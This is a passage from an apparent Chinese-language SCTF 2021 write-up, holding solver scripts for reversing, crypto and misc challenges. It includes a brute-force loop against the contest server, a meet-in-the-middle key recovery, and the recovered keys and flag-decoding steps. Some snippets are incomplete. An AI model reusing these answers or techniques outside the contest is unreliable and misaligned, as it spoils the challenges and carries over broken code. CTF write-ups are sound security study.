0x74, 0x22, 0xe7, 0xad, 0x35, 0x85, 0xe2, 0xf9, 0x37, 0xe8, 0x1c, 0x75, 0xdf, 0x6e], [0x47, 0xf1, 0x1a, 0x71, 0x1d, 0x29, 0xc5, 0x89, 0x6f, 0xb7, 0x62, 0x0e, 0xaa, 0x18, 0xbe, 0x1b], [0xfc, 0x56, 0x3e, 0x4b, 0xc6, 0xd2, 0x79, 0x20, 0x9a, 0xdb, 0xc0, 0xfe, 0x78, 0xcd, 0x5a, 0xf4], [0x1f, 0xdd, 0xa8, 0x33, 0x88, 0x07, 0xc7, 0x31, 0xb1, 0x12, 0x10, 0x59, 0x27, 0x80, 0xec, 0x5f], [0x60, 0x51, 0x7f, 0xa9, 0x19, 0xb5, 0x4a, 0x0d, 0x2d, 0xe5, 0x7a, 0x9f, 0x93, 0xc9, 0x9c, 0xef], [0xa0, 0xe0, 0x3b, 0x4d, 0xae, 0x2a, 0xf5, 0xb0, 0xc8, 0xeb, 0xbb, 0x3c, 0x83, 0x53, 0x99, 0x61], [0x17, 0x2b, 0x04, 0x7e, 0xba, 0x77, 0xd6, 0x26, 0xe1, 0x69, 0x14, 0x63, 0x55, 0x21, 0x0c, 0x7d] ] def _convert_to_array(plain_int): plain_array = [[0, 0, 0, 0], [0, 0, 0, 0], [0, 0, 0, 0], [0, 0, 0, 0]] for i in range(4)[::-1]: for j in range(4)[::-1]: plain_array[j][i] = plain_int \u0026amp; 0xff plain_int \u0026gt;\u0026gt;= 8 return plain_array def _get_num_from_sbox(index): row = (index \u0026amp; 0xf0) \u0026gt;\u0026gt; 4 col = index \u0026amp; 0xf return _aes_s_box[row][col] def _get_num_from_sbox_inverse(index): row = (index \u0026amp; 0xf0) \u0026gt;\u0026gt; 4 col = index \u0026amp; 0xf return _aes_s_box_inverse[row][col] def _sub_bytes(input_array): for i in range(4): for j in range(4): input_array[i][j] = _get_num_from_sbox(input_array[i][j]) def _sub_bytes_inverse(input_array): for i in range(4): for j in range(4): input_array[i][j] = _get_num_from_sbox_inverse(input_array[i][j]) def _shift_rows(input_array): input_array[1] = input_array[1][1:] + [input_array[1][0]] input_array[2] = input_array[2][2:] + input_array[2][:2] input_array[3] = [input_array[3][3]] + input_array[3][:3] def _shift_rows_inverse(input_array): input_array[3] = input_array[3][1:] + [ input_array[3][0] ] input_array[2] = input_array[2][2:] + input_array[2][:2] input_array[1] = [ input_array[1][3] ] + input_array[1][:3] columns_matrix = [ [2, 3, 1, 1], [1, 2, 3, 1], [1, 1, 2, 3], [3, 1, 1, 2] ] def _mix_columns(input_array): res_array = [[0, 0, 0, 0], [0, 0, 0, 0], [0, 0, 0, 0], [0, 0, 0, 0]] for i in range(4): for j in range(4): res = _GF2(0) for k in range(4): res += _GF2(columns_matrix[i][k]) * _GF2(input_array[k][j]) res %= _GF2(0b100011011) res_array[i][j] = res.data return res_array columns_matrix_inverse = [ [0xe, 0xb, 0xd, 0x9], [0x9, 0xe, 0xb, 0xd], [0xd, 0x9, 0xe, 0xb], [0xb, 0xd, 0x9, 0xe] ] def _mix_columns_inverse(input_array): res_array = [[0, 0, 0, 0], [0, 0, 0, 0], [0, 0, 0, 0], [0, 0, 0, 0]] for i in range(4): for j in range(4): res = _GF2(0) for k in range(4): res += _GF2(columns_matrix_inverse[i][k]) * _GF2(input_array[k][j]) res %= _GF2(0b100011011) res_array[i][j] = res.data return res_array def _add_round_key(input_array, key_array): for i in range(4): for j in range(4): input_array[i][j] ^= key_array[i][j] def _key_schedule(pre_key, round): next_key = [[0, 0, 0, 0], [0, 0, 0, 0], [0, 0, 0, 0], [0, 0, 0, 0]] # print (pre_key) for i in range(4): next_key[i][0] = pre_key[i - 3][3] _sub_bytes(next_key) for i in range(4): next_key[i][0] ^= pre_key[i][0] next_key[0][0] ^= (_GF2(pow(2, round)) % _GF2(0x11b)).data for i in range(1, 4): for j in range(4): next_key[j][i] = next_key[j][i - 1] ^ pre_key[j][i] return next_key def _aes_key_gen(key): key = _convert_to_array(key) round_key = [key] for i in range(10): round_key.append(_key_schedule(round_key[i], i)) return round_key def _convert_to_int(input_array): output_int = 0 for i in range(4): for j in range(4): output_int \u0026lt;\u0026lt;= 8 output_int |= input_array[j][i] return output_int def sycaes_encrypt(plain_text, key): plain_text ^= key round_key = _aes_key_gen(key) plain_array = _convert_to_array(plain_text) for i in range(1, 10): _sub_bytes_inverse(plain_array) _shift_rows_inverse(plain_array) plain_array = _mix_columns(plain_array) _add_round_key(plain_array, round_key[i]) _sub_bytes(plain_array) _shift_rows(plain_array) _add_round_key(plain_array, round_key[10]) return _convert_to_int(plain_array) def sycaes_decrypt(cipher_text, key): round_key = _aes_key_gen(key)[::-1] cipher_array = _convert_to_array(cipher_text) _add_round_key(cipher_array, round_key[0]) _shift_rows_inverse(cipher_array) _sub_bytes_inverse(cipher_array) for i in range(1, 10): _add_round_key(cipher_array, round_key[i]) cipher_array = _mix_columns_inverse(cipher_array) _shift_rows(cipher_array) _sub_bytes(cipher_array) _add_round_key(cipher_array, round_key[10]) return _convert_to_int(cipher_array) from libnum import * k = \u0026#34;Welcome_to_sctf!\u0026#34; ex_key = _aes_key_gen(s2n(k)) cipher = [ 0xBE, 0x1C, 0xB3, 0xF3, 0xA1, 0xF4, 0xE4, 0x63, 0x11, 0xE1, 0x1C, 0x6B, 0x54, 0x0A, 0xDF, 0x74, 0xF2, 0x93, 0x55, 0xDA, 0x48, 0xFC, 0xA2, 0x3C, 0x89, 0x63, 0x2E, 0x7F, 0x8D, 0xA4, 0x6D, 0x4E ] tmp = 0 for c in cipher[:16]: tmp \u0026lt;\u0026lt;= 8 tmp += c res = n2s(sycaes_decrypt(tmp, s2n(k))) print (s2n(res[:4][::-1])) print (s2n(res[4:8][::-1])) print (s2n(res[8:12][::-1])) print (s2n(res[12:][::-1])) tmp = 0 for c in cipher[16:]: tmp \u0026lt;\u0026lt;= 8 tmp += c res = n2s(sycaes_decrypt(tmp, s2n(k))) print (s2n(res[:4][::-1])) print (s2n(res[4:8][::-1])) print (s2n(res[8:12][::-1])) print (s2n(res[12:][::-1])) galois.py\nclass GF2: def __init__(self, v): self.data = v def __str__(self): return hex(self.data) def __repr__(self): return \u0026#34;GF2(0x%x)\u0026#34; % self.data def __add__(self, other): return GF2(self.data ^ other.data) def __sub__(self, other): return GF2(self.data ^ other.data) def __lshift__(self, other): return GF2(self.data \u0026lt;\u0026lt; other) def __eq__(self, other): if type(other) == type(1): if self.data == other: return True else: return False if type(other) == type(self): if self.data == other.data: return True else: return False return False def __mul__(self, other): ans = 0 for i in range(len(bin(self.data)) - 2): if self.data \u0026amp; (1 \u0026lt;\u0026lt; i): ans ^= other.data \u0026lt;\u0026lt; i return GF2(ans) def __truediv__(self, other): a = self b = other if b.data == 1: return a lena = len(bin(a.data)) - 2 lenb = len(bin(b.data)) - 2 ans = 0 while lena \u0026gt;= lenb: a = a + (b \u0026lt;\u0026lt; lena - lenb) ans += 1 \u0026lt;\u0026lt; (lena - lenb) lena = len(bin(a.data)) - 2 return GF2(ans) def __floordiv__(self, other): return self / other def __isub__(self, other): return self - other def __mod__(self, other): a = self.data b = other.data lena = len(bin(a)) - 2 lenb = len(bin(b)) - 2 for i in range(lena, lenb - 1, -1): if a \u0026amp; (1 \u0026lt;\u0026lt; i - 1) != 0: a ^= (b \u0026lt;\u0026lt; i - lenb) return GF2(a) def __pow__(self, other, modulo = None): d = GF2(1) while other \u0026gt; 0: if other \u0026amp; 1: d = d * self if modulo != None: d %= modulo other \u0026gt;\u0026gt;= 1 self *= self if modulo != None: self %= modulo return d tea.c\n#include \u0026lt;stdio.h\u0026gt; #include \u0026lt;stdint.h\u0026gt; //加密函数 void encrypt (uint32_t* v, uint32_t* k) { uint32_t v0=v[0], v1=v[1], sum=0, i; /* set up */ uint32_t delta=1935897702; /* a key schedule constant */ uint32_t k0=k[0], k1=k[1], k2=k[2], k3=k[3]; /* cache key */ for (i=0; i \u0026lt; 32; i++) { /* basic cycle start */ sum += delta; v0 += (sum + i )^(((v1\u0026lt;\u0026lt;4) + k2) ^ (v1 + sum) ^ ((v1\u0026gt;\u0026gt;5) + k3)); v1 += (sum + i )^(((v0\u0026lt;\u0026lt;4) + k0) ^ (v0 + sum) ^ ((v0\u0026gt;\u0026gt;5) + k1)); } /* end cycle */ v[0]=v0; v[1]=v1; } //解密函数 void decrypt (uint32_t* v, uint32_t* k) { uint32_t delta=1935897702; /* a key schedule constant */ uint32_t v0=v[0], v1=v[1], sum=delta * 32; int i; /* set up */ uint32_t k0=k[0], k1=k[1], k2=k[2], k3=k[3]; /* cache key */ for (i=31; i\u0026gt;=0; i--) { /* basic cycle start */ v1 -= (sum + i )^(((v0\u0026lt;\u0026lt;4) + k0) ^ (v0 + sum) ^ ((v0\u0026gt;\u0026gt;5) + k1)); v0 -= (sum + i )^(((v1\u0026lt;\u0026lt;4) + k2) ^ (v1 + sum) ^ ((v1\u0026gt;\u0026gt;5) + k3)); sum -= delta; } /* end cycle */ v[0]=v0; v[1]=v1; } int main(){ v[0] = \u0026#39;s\u0026#39; ^ 0x66666666 ^ 2650095043; v[1] = \u0026#39;c\u0026#39; ^ 0x66666666 ^ 1257176610; v[2] = \u0026#39;t\u0026#39; ^ 0x66666666 ^ 407123268; v[3] = \u0026#39;f\u0026#39; ^ 0x66666666 ^ 3718944108; v[4] = \u0026#39;s\u0026#39; ^ 0x66666666 ^ 703929021; v[5] = \u0026#39;c\u0026#39; ^ 0x66666666 ^ 1889742860; v[6] = \u0026#39;t\u0026#39; ^ 2436073003 ^ 0x66666666; v[7] = \u0026#39;f\u0026#39; ^ 2423013887 ^ 0x66666666; decrypt(v, k); decrypt(v+2, k); decrypt(v+4, k); decrypt(v+6, k); printf(\u0026#34;0x%x, 0x%x, \u0026#34;,v[0],v[1]); printf(\u0026#34;0x%x, 0x%x, \u0026#34;,v[2],v[3]); printf(\u0026#34;0x%x, 0x%x, \u0026#34;,v[4],v[5]); printf(\u0026#34;0x%x, 0x%x\\n\u0026#34;,v[6],v[7]); return 0; } SycOS riscv 架构，ghidra 打开\n读取 0x40 长度，每个字符分别计算 0x80 次线性同余方程，然后分两部分存储\n0x10 轮加密，依次进行：tea 运算、两部分中各取出 0x100 进行交换，然后进行系统调用，动调发现内核中的处理只是把两部分字符串做了交换\n系统调用可以根据 \u0026ldquo;sys call\u0026rdquo; 字符串定位到\ntea 的加密一个是 16 轮的一个是 8 轮\n#include \u0026lt;stdio.h\u0026gt; #include \u0026lt;stdlib.h\u0026gt; #include \u0026lt;string.h\u0026gt; #include \u0026#34;exp.h\u0026#34; int delta=-0x61c88647; char str[65]; char tmp[256]; char tmp1[4096]; unsigned long long seed; unsigned long long mRand() { seed=seed*0x41c64e6d+0x3039; return (seed\u0026lt;\u0026lt;0x21)\u0026gt;\u0026gt;0x31; } void tea1(char *str) { for (int j=0;j\u0026lt;4096;j+=8) { auto *ptr=(unsigned int*)(str+j); auto t1=ptr[0]; auto t2=ptr[1]; int sum=delta*16; for (int k=0;k\u0026lt;16;k++) { t2 -= t1 + sum ^ (t1\u0026lt;\u0026lt;4) + 0x1A2B3C4D ^ (t1 \u0026gt;\u0026gt; 5) + 0xCC1122AA; t1 -= (t2\u0026lt;\u0026lt;4) + 0x11222233 ^ (t2 \u0026gt;\u0026gt; 5) + 0xaabbccdd ^ sum +t2; sum-=delta; } ptr[0]=t1; ptr[1]=t2; } } void tea2(char* str) { for (int j=0;j\u0026lt;4096;j+=8) { auto *ptr=(unsigned int*)(str+j); auto t1=ptr[0]; auto t2=ptr[1]; int sum=delta*8; for (int k=0;k\u0026lt;8;k++) { sum-=delta; t1 += t2 + sum ^ (t2 \u0026lt;\u0026lt;4) + 0x11222233 ^ (t2 \u0026gt;\u0026gt; 5) + 0xaabbccdd; t2 +=(t1\u0026lt;\u0026lt;4) + 0x1A2B3C4D ^ (t1 \u0026gt;\u0026gt; 5) + 0xCC1122AA ^ sum +t1; } ptr[0]=t1; ptr[1]=t2; } } void panic() { printf(\u0026#34;failed\u0026#34;); exit(0); } int main() { for (int i=15;i\u0026gt;=0;i--) { memcpy(tmp1,target1,4096); memcpy(target1,target2,4096); memcpy(target2,tmp1,4096); memcpy(tmp,target1+(i*256),256); memcpy(target1+(i*256),target2+(15-i)*256,256); memcpy(target2+(15-i)*256,tmp,256);\ttea1(target1); tea2(target2); } for (int i=0;i\u0026lt;0x80;i++) printf(\u0026#34;0x%02x \u0026#34;,(unsigned char)target2[i]); printf(\u0026#34;\\n\\n\u0026#34;); for (int i=0;i\u0026lt;0x20;i++) { int an=0; for (an=i;an\u0026lt;i+0xff;an++) { seed=an; bool ch=true; for (int j=0;j\u0026lt;0x80;j++) { unsigned char aa=mRand()\u0026amp;0xff; unsigned char bb=target1[i*0x80+j]\u0026amp;0xff; if (aa!=bb) { ch=false; break; } } if (ch) break; } printf(\u0026#34;%x\\n\u0026#34;,an); if (an\u0026gt;=0xff) { panic(); } str[i]=an-i; } for (int i=0;i\u0026lt;0x20;i++) { int an=0; for (an=i;an\u0026lt;i+0xff;an++) { seed=an; bool ch=true; for (int j=0;j\u0026lt;0x80;j++) { unsigned char aa=mRand()\u0026amp;0xff; unsigned char bb=target2[i*0x80+j]\u0026amp;0xff; if (aa!=bb) { ch=false; break; } } if (ch) break; } printf(\u0026#34;%x\\n\u0026#34;,an); if (an\u0026gt;=0xff) { panic(); } str[i+0x20]=an-i; } printf(\u0026#34;%s\\n\u0026#34;,str); return 0; } SycGame 推箱子游戏\ngithub 找了个自动求解脚本，然后在脚本里加一个 alarm，求解一次的时间超过 3s 就自动退出\nhttps://github.com/tonyling/skb-solver\n题目的程序和 github 上的脚本写的都有点问题，最后大概是脚本有 1/5 到 1/10 的概率求解出一轮，接下来爆破一波就行（服务器第一天不太稳定，爆破完不回显 flag\u0026hellip;）\nfrom pwn import * from sympy.ntheory.modular import isprime import traceback context.log_level=\u0026#39;debug\u0026#39; def bprint(lst): for i in lst: for j in i: print(\u0026#34;%4d \u0026#34;%j,end=\u0026#39;\u0026#39;) print(\u0026#39;\u0026#39;) def fprint(lst): mpc={1:\u0026#39; \u0026#39;,0:\u0026#39;#\u0026#39;,-2:\u0026#39;@\u0026#39;,-3:\u0026#39;.\u0026#39;,-1:\u0026#39;$\u0026#39;} target=\u0026#39;20\\n\u0026#39; for i in lst: for j in i: target+=(\u0026#34;%c\u0026#34;%mpc[j]) target+=\u0026#34;\\n\u0026#34; open(\u0026#34;test.txt\u0026#34;,\u0026#34;w\u0026#34;).write(target) maxn=0 while (True): try: p=remote(\u0026#34;124.70.152.166\u0026#34;,1448) p.recvuntil(b\u0026#34;:\u0026#34;) p.send(b\u0026#34;Y\\n\u0026#34;) for i in range(4): p.recvuntil(b\u0026#34;\\n\u0026#34;) buffer=p.recvuntil(b\u0026#34;\\n\u0026#34;).decode()[:-2] _mp=list(map(int,buffer.split(\u0026#34; \u0026#34;))) mp0=[(0 if isprime(i) else 1) if i\u0026gt;0 else i for i in _mp] mp=[[mp0[i*20+j] for j in range(20)]for i in range(20)] mpback=[[mp0[i*20+j] for j in range(20)]for i in range(20)] bprint(mp) fprint(mp) data=os.popen(\u0026#39;./a.out test.txt\u0026#39;).read() print(data) p.send(data.encode()) p.recvuntil(\u0026#34;:\u0026#34;) p.send(b\u0026#34;Y\\n\u0026#34;) rec=p.recvuntil(\u0026#34;\\n\u0026#34;) print(rec) maxn=max(maxn,i+1) i=4 p.recvuntil(b\u0026#34;\\n\u0026#34;) buffer=p.recvuntil(b\u0026#34;\\n\u0026#34;).decode()[:-2] _mp=list(map(int,buffer.split(\u0026#34; \u0026#34;))) mp0=[(0 if isprime(i) else 1) if i\u0026gt;0 else i for i in _mp] mp=[[mp0[i*20+j] for j in range(20)]for i in range(20)] mpback=[[mp0[i*20+j] for j in range(20)]for i in range(20)] bprint(mp) fprint(mp) data=os.popen(\u0026#39;./a.out test.txt\u0026#39;).read() print(data) p.send(data.encode()) dt=p.recvuntil(b\u0026#34;Y\u0026#34;) print(\u0026#34;recieved:\u0026#34;,end=\u0026#39;\u0026#39;) print(dt) i=5 p.interactive() except: if (i==4): traceback.print_exc() if (i==5): break p.close() print(\u0026#34;maxn:%d\u0026#34;%maxn) pass Crypto ciruit map 是个混淆电路，目标 flag 最终就是要求出 keys\n电路中多给了一个值是 validation，用这个值可以构造中间相遇攻击，从而将秘钥爆破空间缩小到 2**24，pypy3 跑然后在密钥空间中验证电路是否能通，能通的就是正确的秘钥\nfrom block_cipher import encrypt_data, decrypt_data, decrypt from collections import defaultdict from tqdm import tqdm G_Table = { 5: [(13303835, 2123830), (2801785, 11303723), (13499998, 248615), (13892520, 7462011)], 6: [(3244202, 918053), (3277177, 6281266), (1016382, 7097624), (10016472, 13600867)], 7: [(5944875, 3442862), (7358369, 8423543), (6495696, 9927178), (13271900, 11855272)], 9: [(5333988, 87113), (9375869, 11687470), (5011062, 14981756), (2509493, 12330305)]} print(\u0026#39;[!] generating lookup table...\u0026#39;) ENCRYPTIONS_OF_ZERO = defaultdict(list) for key in tqdm(range(2**24)): ct = encrypt_data(0, key) ENCRYPTIONS_OF_ZERO[ct].append(key) def meet_in_the_middle(ct): print(\u0026#39;[!] performing meet-in-the-middle attack for\u0026#39;, ct) possible = defaultdict(list) for key in tqdm(range(2**24)): dec = decrypt_data(ct, key) if dec in ENCRYPTIONS_OF_ZERO: possible[key] = ENCRYPTIONS_OF_ZERO[dec] return possible def recover_keys(Z, C): print(\u0026#39;[!] recovering keys...\u0026#39;) z1, z2, z3, z4 = Z c1, c2, c3, c4 = C for b0 in tqdm(z1): for a0 in z1[b0]: p1 = decrypt(c1, a0, b0) for c,z in zip([c2, c3, c4], [z2, z3, z4]): for a1 in z[b0]: if p1 == decrypt(c, a1, b0): b1 = recover_keys_part2(Z, C, a0, b0) if b1: print(c1) print(c) print(f\u0026#39;a0 = {a0}, b0 = {b0}\u0026#39;) print(f\u0026#39;a1 = {a1}, b1 = {b1}\u0026#39;) return True return False def recover_keys_part2(Z, C, a0, b0): z1, z2, z3, z4 = Z c1, c2, c3, c4 = C for c,z in zip([c2,c3,c4], [z2,z3,z4]): for b1 in z: if a0 in z[b1] and decrypt(c, a0, b1) == decrypt(c1, a0, b0): return b1 return False # Z是四个字典，键是key2, 值是key1 for i in [7]: Z = [meet_in_the_middle(G_Table[i][j][1]) for j in range(4)] C = [g[0] for g in G_Table[i]] for i in range(4): if recover_keys([Z[i]] + Z[:i] + Z[i+1:], [C[i]] + C[:i] + C[i+1:]): break ############################################################### from block_cipher import decrypt G_Table = { 5: [(13303835, 2123830), (2801785, 11303723), (13499998, 248615), (13892520, 7462011)], 6: [(3244202, 918053), (3277177, 6281266), (1016382, 7097624), (10016472, 13600867)], 7: [(5944875, 3442862), (7358369, 8423543), (6495696, 9927178), (13271900, 11855272)], 9: [(5333988, 87113), (9375869, 11687470), (5011062, 14981756), (2509493, 12330305)]} def validate_the_circuit(geta_table, key0, key1): for g in geta_table: gl, v = g label = decrypt(gl, key0, key1) validation = decrypt(v, key0, key1) if validation == 0: return label geta5 = G_Table[5] geta6 = G_Table[6] geta7 = G_Table[7] geta9 = G_Table[9] key0 = 8680011 key1 = 2096572 msg = validate_the_circuit(geta9, key0, key1) print(\u0026#39;key[9][1] = \u0026#39;, msg) # keys[1][0] = 8343801 # keys[1][1] = 13675268 # keys[2][0] = 10251687 # keys[2][1] = 12870274 # keys[3][0] = 6827786 # keys[3][1] = 12490757 # keys[4][0] = 2096572 # keys[4][1] = 3391233 # keys[5][0] = 15707475 # keys[5][1] = 4567418 # keys[6][0] = 14095476 # keys[6][1] = 3648155 # key[7][0] = 14409690 # key[7][1] = 8680011 # key[9][0] = 9376523 # key[9][1] = 2504390 ############################################################### import hashlib from Crypto.Util.number import * from libnum import n2s # keys[1][0] = 8343801 # keys[1][1] = 13675268 # keys[2][0] = 10251687 # keys[2][1] = 12870274 # keys[3][0] = 6827786 # keys[3][1] = 12490757 # keys[4][0] = 2096572 # keys[4][1] = 3391233 # keys[5][0] = 15707475 # keys[5][1] = 4567418 # keys[6][0] = 14095476 # keys[6][1] = 3648155 # keys[7][0] = 14409690 # keys[7][1] = 8680011 # keys[9][0] = 9376523 # keys[9][1] = 2504390 keys = [[8343801, 13675268], [10251687, 12870274], [6827786, 12490757], [2096572, 3391233], [15707475, 4567418], [14095476, 3648155], [14409690, 8680011], [9376523, 2504390]] def xor(A, B): return bytes(a ^ b for a, b in zip(A, B)) the_chaos=b\u0026#39;\u0026#39; for i in keys: tmp = sum(i) the_chaos += bytes(long_to_bytes(tmp)) mask = hashlib.md5(the_chaos).digest() flag = xor(mask,n2s(0x1661fe85c7b01b3db1d432ad3c5ac83a)) print(flag) Misc This_is_A_tree 一个树型解密，随便找了个脚本改了改\n#!/usr/bin/python # -*- coding:utf8 -*- import os allFileNum = 0 file_contents_list = [] def printPath(level, path): global allFileNum # 所有文件夹，第一个字段是次目录的级别 dirList = [] # 所有文件 fileList = [] # exp global file_contents_list # exp # 返回一个列表，其中包含在目录条目的名称(google翻译) files = os.listdir(path) # 先添加目录级别 dirList.append(str(level)) for f in files: if(os.path.isdir(path + \u0026#39;/\u0026#39; + f)): # 排除隐藏文件夹。因为隐藏文件夹过多 if(f[0] == \u0026#39;.\u0026#39;): pass else: # 添加非隐藏文件夹 dirList.append(f) if(os.path.isfile(path + \u0026#39;/\u0026#39; + f)): # 添加文件 fileList.append(f) # exp添加内容 if f != \u0026#39;exp.py\u0026#39;: file_contents_list.append(open(path + \u0026#39;\\\\\u0026#39; + f, \u0026#39;r\u0026#39;).read()) # exp # 当一个标志使用，文件夹列表第一个级别不打印 i_dl = 0 for dl in dirList: if(i_dl == 0): i_dl = i_dl + 1 else: # 打印至控制台，不是第一个的目录 print(\u0026#39;-\u0026#39; * (int(dirList[0])), dl) # 打印目录下的所有文件夹和文件，目录级别+1 printPath((int(dirList[0]) + 1), path + \u0026#39;/\u0026#39; + dl) for fl in fileList: # 打印文件 print(\u0026#39;-\u0026#39; * (int(dirList[0])), fl) # 随便计算一下有多少个文件 allFileNum = allFileNum + 1 return file_contents_list if __name__ == \u0026#39;__main__\u0026#39;: contents_list = printPath(1, \u0026#39;D:\\\\CTF题目\\\\2021SCTF\\\\misc\\\\78afbe21e9334e83a265e984a1aa9ddd\u0026#39;) # print(\u0026#39;总文件数 =\u0026#39;, allFileNum) print(\u0026#34;\u0026#34;.join(contents_list)) 解密完base64一下是个八卦序列，师 兑 复 损 巽 震 晋 姤 大过 讼 噬嗑 震 恒 节 豫 https://blog.csdn.net/weixin_44110537/article/details/107494966\n脚本如下,输入换一下，删一点后面的就行\ndef decrypt4(enc): temp=\u0026#39;\u0026#39; offset=5 for i in range(len(enc)): temp+=chr(ord(enc[i])+offset+i) return temp def decrypt5(flag): for a in range(1,200): enc = \u0026#39;\u0026#39; for i in flag: for k in range(200): if (ord(i) - 97 - 7+26*k)%a==0: enc+= chr((ord(i) - 97 - 7 + 26 * k) // a + 97) break print(enc) s=\u0026#39;师 兑 复 损 巽 震 晋 姤 大过 讼 噬嗑 震 恒 节 豫\u0026#39; dic={\u0026#39;坤\u0026#39;: \u0026#39;000000\u0026#39;, \u0026#39;剥\u0026#39;: \u0026#39;000001\u0026#39;, \u0026#39;比\u0026#39;: \u0026#39;000010\u0026#39;, \u0026#39;观\u0026#39;: \u0026#39;000011\u0026#39;, \u0026#39;豫\u0026#39;: \u0026#39;000100\u0026#39;, \u0026#39;晋\u0026#39;: \u0026#39;000101\u0026#39;, \u0026#39;萃\u0026#39;: \u0026#39;000110\u0026#39;, \u0026#39;否\u0026#39;: \u0026#39;000111\u0026#39;, \u0026#39;谦\u0026#39;: \u0026#39;001000\u0026#39;, \u0026#39;艮\u0026#39;: \u0026#39;001001\u0026#39;, \u0026#39;蹇\u0026#39;: \u0026#39;001010\u0026#39;, \u0026#39;渐\u0026#39;: \u0026#39;001011\u0026#39;, \u0026#39;小过\u0026#39;: \u0026#39;001100\u0026#39;, \u0026#39;旅\u0026#39;: \u0026#39;001101\u0026#39;, \u0026#39;咸\u0026#39;: \u0026#39;001110\u0026#39;, \u0026#39;遁\u0026#39;: \u0026#39;001111\u0026#39;, \u0026#39;师\u0026#39;: \u0026#39;010000\u0026#39;, \u0026#39;蒙\u0026#39;: \u0026#39;010001\u0026#39;, \u0026#39;坎\u0026#39;: \u0026#39;010010\u0026#39;, \u0026#39;涣\u0026#39;: \u0026#39;010011\u0026#39;, \u0026#39;解\u0026#39;: \u0026#39;010100\u0026#39;, \u0026#39;未济\u0026#39;: \u0026#39;010101\u0026#39;, \u0026#39;困\u0026#39;: \u0026#39;010110\u0026#39;, \u0026#39;讼\u0026#39;: \u0026#39;010111\u0026#39;, \u0026#39;升\u0026#39;: \u0026#39;011000\u0026#39;, \u0026#39;蛊\u0026#39;: \u0026#39;011001\u0026#39;, \u0026#39;井\u0026#39;: \u0026#39;011010\u0026#39;, \u0026#39;巽\u0026#39;: \u0026#39;011011\u0026#39;, \u0026#39;恒\u0026#39;: \u0026#39;011100\u0026#39;, \u0026#39;鼎\u0026#39;: \u0026#39;011101\u0026#39;, \u0026#39;大过\u0026#39;: \u0026#39;011110\u0026#39;, \u0026#39;姤\u0026#39;: \u0026#39;011111\u0026#39;, \u0026#39;复\u0026#39;: \u0026#39;100000\u0026#39;, \u0026#39;颐\u0026#39;: \u0026#39;100001\u0026#39;, \u0026#39;屯\u0026#39;: \u0026#39;100010\u0026#39;, \u0026#39;益\u0026#39;: \u0026#39;100011\u0026#39;, \u0026#39;震\u0026#39;: \u0026#39;100100\u0026#39;, \u0026#39;噬嗑\u0026#39;: \u0026#39;100101\u0026#39;, \u0026#39;随\u0026#39;: \u0026#39;100110\u0026#39;, \u0026#39;无妄\u0026#39;: \u0026#39;100111\u0026#39;, \u0026#39;明夷\u0026#39;: \u0026#39;101000\u0026#39;, \u0026#39;贲\u0026#39;: \u0026#39;101001\u0026#39;, \u0026#39;既济\u0026#39;: \u0026#39;101010\u0026#39;, \u0026#39;家人\u0026#39;: \u0026#39;101011\u0026#39;, \u0026#39;丰\u0026#39;: \u0026#39;101100\u0026#39;, \u0026#39;离\u0026#39;: \u0026#39;101101\u0026#39;, \u0026#39;革\u0026#39;: \u0026#39;101110\u0026#39;, \u0026#39;同人\u0026#39;: \u0026#39;101111\u0026#39;, \u0026#39;临\u0026#39;: \u0026#39;110000\u0026#39;, \u0026#39;损\u0026#39;: \u0026#39;110001\u0026#39;, \u0026#39;节\u0026#39;: \u0026#39;110010\u0026#39;, \u0026#39;中孚\u0026#39;: \u0026#39;110011\u0026#39;, \u0026#39;归妹\u0026#39;: \u0026#39;110100\u0026#39;, \u0026#39;睽\u0026#39;: \u0026#39;110101\u0026#39;, \u0026#39;兑\u0026#39;: \u0026#39;110110\u0026#39;, \u0026#39;履\u0026#39;: \u0026#39;110111\u0026#39;, \u0026#39;泰\u0026#39;: \u0026#39;111000\u0026#39;, \u0026#39;大畜\u0026#39;: \u0026#39;111001\u0026#39;, \u0026#39;需\u0026#39;: \u0026#39;111010\u0026#39;, \u0026#39;小畜\u0026#39;: \u0026#39;111011\u0026#39;, \u0026#39;大壮\u0026#39;: \u0026#39;111100\u0026#39;, \u0026#39;大有\u0026#39;: \u0026#39;111101\u0026#39;, \u0026#39;夬\u0026#39;: \u0026#39;111110\u0026#39;, \u0026#39;乾\u0026#39;: \u0026#39;111111\u0026#39;} li=[] k=0 for i in range(len(s)): if k ==1: k=0 continue try: li.append(dic[s[i]]) except: t=\u0026#39;\u0026#39; t=t+s[i]+s[i+1] li.append(dic[t]) k=1 ss=\u0026#39;\u0026#39;.join(li) print(ss) enc=\u0026#39;\u0026#39; for i in range(0,len(ss),8): enc+=chr(eval(\u0026#39;0b\u0026#39;+ss[i:i+8])) import base64 print(enc) x=base64.b64decode(enc).decode() print(x) x=decrypt4(x) x=decrypt5(x) fumo_xor_cli nc 远程发现是通过五颜六色的字符打印出一个 gif，肉眼发现有两帧不一样，把 nc 到的字节流重定向到本地文件，然后手动把这两帧提取出来，都是 50*133 个字符的。\n无意间发现链接的公众号推送的最后一张图有异样，下载原图，仔细观察发现：\n有规律的藏有五颜六色的像素，提取出来，发现是 133*100 的，把这个拆成两个 50*133 ，然后都旋转为正的，将 4 张 50*133 的图异或，发现大部分都是 (0,0,0)，部分是三个一样的，再经过一些简单的图片处理，得到flag。\n全程处理数据的脚本：\nfrom PIL import Image import numpy as np def rerange(s): t = [] for i in range(len(s[0])): t.append([s[_][i] for _ in range(len(s))]) return t f = Image.open(\u0026#39;640.png\u0026#39;) a = np.array(f) cnt = 0 wx_list_1 = [] wx_list_2 = [] for i in range(len(a)): if i % 9 == 1 and i \u0026lt; 1190: b = a[i] now_list_1 = [] now_list_2 = [] cnt_j = 0 for j in range(len(b)): if j % 9 == 1: if cnt_j \u0026lt; 50: now_list_1.append(b[j]) else: now_list_2.append(b[j]) cnt_j += 1 wx_list_1.append(now_list_1) wx_list_2.append(now_list_2) cnt += 1 wx_list_1 = rerange(wx_list_1) wx_list_2 = rerange(wx_list_2) import re fp = open(\u0026#39;pic1.txt\u0026#39;, \u0026#39;rb\u0026#39;) list_1 = [] for line in fp.readlines(): pattern = re.compile(r\u0026#39;\\[\\d+;\\d+;(\\d+);(\\d+);(\\d+)ma\u0026#39;) a = pattern.findall(line.decode()) a = [(int(_[0]), int(_[1]), int(_[2])) for _ in a] list_1.append(a) fp.close() fp = open(\u0026#39;pic2.txt\u0026#39;, \u0026#39;rb\u0026#39;) list_2 = [] for line in fp.readlines(): pattern = re.compile(r\u0026#39;\\[\\d+;\\d+;(\\d+);(\\d+);(\\d+)m[a-zA-Z0-9\\:\\/\\.\\_]\u0026#39;) a 